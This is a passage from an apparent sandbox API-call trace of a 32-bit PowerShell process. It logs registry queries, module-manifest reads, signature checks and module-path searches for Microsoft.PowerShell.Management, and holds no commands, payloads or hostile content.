lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x572e6d4 | out: phkResult=0x572e6d4*=0x410) returned 0x0 [0116.807] RegQueryValueExW (in: hKey=0x410, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x572e6f0, lpData=0x0, lpcbData=0x572e6ec*=0x0 | out: lpType=0x572e6f0*=0x0, lpData=0x0, lpcbData=0x572e6ec*=0x0) returned 0x2 [0116.807] RegCloseKey (hKey=0x410) returned 0x0 [0116.807] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0116.807] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0116.807] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572e64c) returned 1 [0116.808] CreateFileW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x410 [0116.808] GetFileType (hFile=0x410) returned 0x1 [0116.808] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572e648) returned 1 [0116.808] GetFileType (hFile=0x410) returned 0x1 [0116.808] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x572e688*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572e688*=0) returned 0x0 [0116.808] ReadFile (in: hFile=0x410, lpBuffer=0x277ac9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572e6b4, lpOverlapped=0x0 | out: lpBuffer=0x277ac9c*, lpNumberOfBytesRead=0x572e6b4*=0x9e9, lpOverlapped=0x0) returned 1 [0116.808] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x572e688*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572e688*=0) returned 0x9e9 [0116.808] ReadFile (in: hFile=0x410, lpBuffer=0x277a219, nNumberOfBytesToRead=0x217, lpNumberOfBytesRead=0x572e6b4, lpOverlapped=0x0 | out: lpBuffer=0x277a219*, lpNumberOfBytesRead=0x572e6b4*=0x0, lpOverlapped=0x0) returned 1 [0116.809] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x572e688*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x572e688*=0) returned 0x9e9 [0116.809] ReadFile (in: hFile=0x410, lpBuffer=0x277ac9c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x572e6b4, lpOverlapped=0x0 | out: lpBuffer=0x277ac9c*, lpNumberOfBytesRead=0x572e6b4*=0x0, lpOverlapped=0x0) returned 1 [0116.809] NtQuerySystemInformation (in: SystemInformationClass=0xa4, SystemInformation=0x572e61c, Length=0x20, ResultLength=0x572e68c | out: SystemInformation=0x572e61c, ResultLength=0x572e68c*=0x0) returned 0xc0000003 [0116.809] GetSystemInfo (in: lpSystemInfo=0x572e698 | out: lpSystemInfo=0x572e698*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5507)) [0116.809] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x572e628 | out: phkResult=0x572e628*=0x414) returned 0x0 [0116.809] RegQueryValueExW (in: hKey=0x414, lpValueName="__PSLockdownPolicy", lpReserved=0x0, lpType=0x572e644, lpData=0x0, lpcbData=0x572e640*=0x0 | out: lpType=0x572e644*=0x0, lpData=0x0, lpcbData=0x572e640*=0x0) returned 0x2 [0116.810] RegCloseKey (hKey=0x414) returned 0x0 [0116.810] CloseHandle (hObject=0x410) returned 1 [0116.811] CoCreateGuid (in: pguid=0x572e718 | out: pguid=0x572e718*(Data1=0xea24d13b, Data2=0x57d1, Data3=0x46dc, Data4=([0]=0x85, [1]=0xbc, [2]=0xfb, [3]=0x9b, [4]=0xef, [5]=0xef, [6]=0x46, [7]=0xef))) returned 0x0 [0116.811] QueryPerformanceCounter (in: lpPerformanceCount=0x572e478 | out: lpPerformanceCount=0x572e478*=1175778812273) returned 1 [0116.811] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0116.811] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0116.811] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572e164) returned 1 [0116.811] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1"), fInfoLevelId=0x0, lpFileInformation=0x572e428 | out: lpFileInformation=0x572e428*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f1e8618, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x9e9)) returned 1 [0116.811] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572e160) returned 1 [0116.811] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0116.811] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0116.811] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0116.811] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0116.812] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572e0f8) returned 1 [0116.812] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1"), fInfoLevelId=0x0, lpFileInformation=0x572e3bc | out: lpFileInformation=0x572e3bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f1e8618, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x9e9)) returned 1 [0116.812] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572e0f4) returned 1 [0116.812] CoTaskMemAlloc (cb=0x10) returned 0x3d99f0 [0116.812] CoTaskMemAlloc (cb=0x10) returned 0x3d9af8 [0116.812] CoTaskMemAlloc (cb=0xf0) returned 0x3ec718 [0116.812] CoTaskMemAlloc (cb=0x30) returned 0x3c2968 [0116.812] WinVerifyTrust () returned 0x800b0100 [0116.824] CoTaskMemFree (pv=0x3d99f0) [0116.824] CoTaskMemFree (pv=0x3c2968) [0116.824] CryptCATHandleFromStore () returned 0x3408a0 [0116.824] WTHelperGetProvSignerFromChain () returned 0x0 [0116.825] CoTaskMemAlloc (cb=0x10) returned 0x3d99f0 [0116.825] CoTaskMemAlloc (cb=0x30) returned 0x3c2968 [0116.825] WinVerifyTrust () returned 0x0 [0116.825] CoTaskMemFree (pv=0x3c2968) [0116.825] CoTaskMemFree (pv=0x3d99f0) [0116.825] CoTaskMemFree (pv=0x3ec718) [0116.825] CoTaskMemFree (pv=0x3d9af8) [0116.831] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\en-US\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\en-us\\microsoft.powershell.management.psd1")) returned 0xffffffff [0116.831] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\en\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\en\\microsoft.powershell.management.psd1")) returned 0xffffffff [0116.832] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0116.832] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0116.832] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0116.832] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x53, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", lpFilePart=0x0) returned 0x52 [0116.846] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\PSGetModuleInfo.xml", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x67 [0116.846] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\PSGetModuleInfo.xml", nBufferLength=0x67, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\PSGetModuleInfo.xml", lpFilePart=0x0) returned 0x66 [0116.846] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572dbb4) returned 1 [0116.846] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\PSGetModuleInfo.xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\psgetmoduleinfo.xml"), fInfoLevelId=0x0, lpFileInformation=0x572de78 | out: lpFileInformation=0x572de78*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0116.846] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572dbb0) returned 1 [0116.846] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Commands.Management.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.commands.management.dll")) returned 0xffffffff [0116.847] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Commands.Management.dll\\Microsoft.PowerShell.Commands.Management.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.commands.management.dll\\microsoft.powershell.commands.management.dll")) returned 0xffffffff [0116.847] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x572db30, nSize=0xc6 | out: lpBuffer="") returned 0xc5 [0116.927] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules" (normalized: "c:\\program files\\windowspowershell\\modules")) returned 0x10 [0116.928] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0116.928] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management", nBufferLength=0x54, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management", lpFilePart=0x0) returned 0x53 [0116.928] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572d9bc) returned 1 [0116.928] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.commands.management"), fInfoLevelId=0x0, lpFileInformation=0x572dc80 | out: lpFileInformation=0x572dc80*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0116.928] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572d9b8) returned 1 [0116.931] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management\\Microsoft.PowerShell.Commands.Management.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.commands.management\\microsoft.powershell.commands.management.dll")) returned 0xffffffff [0116.934] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\WindowsPowerShell\\Modules" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules")) returned 0xffffffff [0116.940] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules" (normalized: "c:\\program files (x86)\\windowspowershell\\modules")) returned 0x10 [0116.941] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5a [0116.941] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management", nBufferLength=0x5a, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management", lpFilePart=0x0) returned 0x59 [0116.941] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572d9bc) returned 1 [0116.941] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.commands.management"), fInfoLevelId=0x0, lpFileInformation=0x572dc80 | out: lpFileInformation=0x572dc80*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0116.941] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572d9b8) returned 1 [0116.958] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Commands.Management\\Microsoft.PowerShell.Commands.Management.dll" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\microsoft.powershell.commands.management\\microsoft.powershell.commands.management.dll")) returned 0xffffffff [0116.960] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules")) returned 0x10 [0116.961] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0116.961] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Management", nBufferLength=0x5c, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Management", lpFilePart=0x0) returned 0x5b [0116.961] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x572d9bc) returned 1 [0116.961] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Management" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.commands.management"), fInfoLevelId=0x0, lpFileInformation=0x572dc80 | out: lpFileInformation=0x572dc80*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0116.961] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x572d9b8) returned 1 [0116.965] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Commands.Management\\Microsoft.PowerShell.Commands.Management.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.commands.management\\microsoft.powershell.commands.management.dll")) returned 0xffffffff [0117.635] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xa0 [0117.635] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0xa0, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x9f [0117.635] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xa0 [0117.635] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0xa0, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x9f [0117.635] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xa0 [0117.635] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0xa0, lpBuffer=0x3e71a8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\v4.0_3.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x9f [0118.888] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x572ea50 | out: phkResult=0x572ea50*=0x3f0) returned 0x0 [0118.888] RegQueryValueExW (in: hKey=0x3f0, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x572ea70, lpData=0x0, lpcbData=0x572ea6c*=0x0 | out: lpType=0x572ea70*=0x1, lpData=0x0, lpcbData=0x572ea6c*=0x56) returned 0x0 [0118.888] RegQueryValueExW (in: hKey=0x3f0, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x572ea70, lpData=0x216281c, lpcbData=0x572ea6c*=0x56 | out: lpType=0x572ea70*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x572ea6c*=0x56) returned 0x0 [0118.888] RegCloseKey (hKey=0x3f0) returned 0x0 [0118.888] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x572ea50 | out: phkResult=0x572ea50*=0x3f0) returned 0x0 [0118.888] RegQueryValueExW (in: hKey=0x3f0, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x572ea70, lpData=0x0, lpcbData=0x572ea6c*=0x0 | out: lpType=0x572ea70*=0x1, lpData=0x0, lpcbData=0x572ea6c*=0x56) returned 0x0 [0118.888] RegQueryValueExW (in: hKey=0x3f0, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x572ea70, lpData=0x2162b30, lpcbData=0x572ea6c*=0x56 | out: lpType=0x572ea70*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x572ea6c*=0x56) returned 0x0 [0118.888] RegCloseKey (hKey=0x3f0) returned 0x0 [0118.889] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x572ea50 | out: phkResult=0x572ea50*=0x3f0) returned 0x0 [0118.889] RegQueryValueExW (in: hKey=0x3f0, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x572ea70, lpData=0x0, lpcbData=0x572ea6c*=0x0 | out: lpType=0x572ea70*=0x1, lpData=0x0, lpcbData=0x572ea6c*=0x56) returned 0x0 [0118.889] RegQueryValueExW (in: hKey=0x3f0, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x572ea70, lpData=0x2162e38, lpcbData=0x572ea6c*=0x56 | out: lpType=0x572ea70*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x572ea6c*=0x56) returned 0x0 [0118.889] RegCloseKey (hKey=0x3f0) returned 0x0 [0118.889] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x572ea50 | out: phkResult=0x572ea50*=0x3f0) returned 0x0 [0118.889] RegQueryValueExW (in: hKey=0x3f0, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x572ea70, lpData=0x0, lpcbData=0x572ea6c*=0x0 | out: lpType=0x572ea70*=0x1, lpData=0x0, lpcbData=0x572ea6c*=0x56) returned 0x0 [0118.889] RegQueryValueExW (in: hKey=0x3f0, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x572ea70, lpData=0x2163158, lpcbData=0x572ea6c*=0x56 | out: lpType=0x572ea70*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x572ea6c*=0x56) returned 0x0 [0118.889] RegCloseKey (hKey=0x3f0) returned 0x0 [0118.890] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x572ea9c | out: phkResult=0x572ea9c*=0x3f0) returned 0x0 [0118.890] RegQueryValueExW (in: hKey=0x3f0, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x572eabc, lpData=0x0, lpcbData=0x572eab8*=0x0 | out: lpType=0x572eabc*=0x1, lpData=0x0, lpcbData=0x572eab8*=0x56) returned 0x0 [0118.890] RegQueryValueExW (in: hKey=0x3f0, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x572eabc, lpData=0x21634a0, lpcbData=0x572eab8*=0x56 | out: lpType=0x572eabc*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x572eab8*=0x56) returned 0x0 [0118.890] RegCloseKey (hKey=0x3f0) returned 0x0 [0118.890] CoTaskMemAlloc (cb=0x20c) returned 0x35c5f0 [0118.890] SHGetFolderPathW (in: hwnd=0x0, csidl=38, hToken=0x0, dwFlags=0x0, pszPath=0x35c5f0 | out: pszPath="C:\\Program Files (x86)") returned 0x0 [0118.890] CoTaskMemFree (pv=0x35c5f0) [0118.890] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, 